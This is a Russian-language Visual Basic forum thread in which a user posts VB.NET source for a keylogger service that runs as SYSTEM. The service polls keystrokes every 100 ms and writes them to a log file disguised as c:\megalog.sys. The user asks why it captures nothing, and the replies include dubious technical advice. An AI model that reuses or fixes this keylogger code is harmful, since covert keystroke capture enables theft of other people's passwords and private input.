Visual Basic, .NET, ASP, VBScript
 

   
   
     

Форум - Общий форум

Страница: 1 |

 

  Вопрос: Странное поведение служб в VB .NET Добавлено: 26.04.09 18:36  

Автор вопроса:  Programmer
Делаю кейлоггер (все законно - он будет стоять только у меня на компе ))
Ловлю нажатия клавиш с помощью API-функции GetAsyncKeyState.

Во время отладки все нормально, устанавливаю сервис, запускаю его, аттаачусь к сервису и... вижу, что API-функция почему-то НИЧЕГО НЕ ВОЗВРАЩАЕТ!

Когда запускаю отладку просто через F8 - все нормально, а вот сервис почему-то не получает значение, которое должна возвратить эта функция.

Вот основной код, может разберетесь)

Public Class keylog
    Private Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Integer) As Integer
    Private WithEvents sv_Timer As New Timers.Timer(100)
    Protected Overrides Sub OnStart(ByVal args() As String)
        ' Add code here to start your service. This method should set things
        ' in motion so your service can do its work.
        sv_Timer.Start()
    End Sub

    Protected Overrides Sub OnStop()
        ' Add code here to perform any tear-down necessary to stop your service.
        sv_Timer.Stop()
    End Sub

    Private Sub timKey_Tick(ByVal sender As Object, ByVal e As Timers.ElapsedEventArgs) Handles sv_Timer.Elapsed
        Dim i As Integer, a As Integer, s As String = ""
        For i = 1 To 255
            a = GetAsyncKeyState(i)
            If a < 0 Then s = s & Chr(i)
        Next
        If s.Length > 100 Then
            Dim fs As New System.IO.FileStream("c:\megalog.sys", IO.FileMode.Append)
            Dim w As New System.IO.StreamWriter(fs)
            w.Write(s)
            w.Flush()
            fs.Close()
            s = ""
        End If
    End Sub
End Class


Может поможете? Я уже не знаю что и думать...

Да, сервис запущен под SYSTEM. Может это какое-то ограничение Windows?

Заранее спасибо.

Ответить

  Ответы Всего ответов: 3  

Номер ответа: 1
Автор ответа:
 MegaÐefender



Вопросов: 19
Ответов: 313
 Web-сайт: safetyAV.narod.ru
 Профиль | | #1
Добавлено: 26.04.09 22:23
Функция GetAsyncKeyState возвращает 0, потому что в сервисе нельзя использовать её. Не знаю как в .NET'е, а в VB6, например, можно написать DLL, в которой будет объявлена эта функция. Проверено на практике. Надеюсь помог...

Ответить

Номер ответа: 2
Автор ответа:
 Programmer



Вопросов: 71
Ответов: 246
 Профиль | | #2 Добавлено: 26.04.09 22:54
Почему нельзя использовать?
Я тут посоветовался - а может дело в том, что сирвис работает под другим десктопом?

Ответить

Номер ответа: 3
Автор ответа:
 MegaÐefender



Вопросов: 19
Ответов: 313
 Web-сайт: safetyAV.narod.ru
 Профиль | | #3
Добавлено: 27.04.09 08:51
В сервисе нужно использовать функции API только в unicode-формате.

Ответить

Страница: 1 |

Поиск по форуму



© Copyright 2002-2011 VBNet.RU | Пишите нам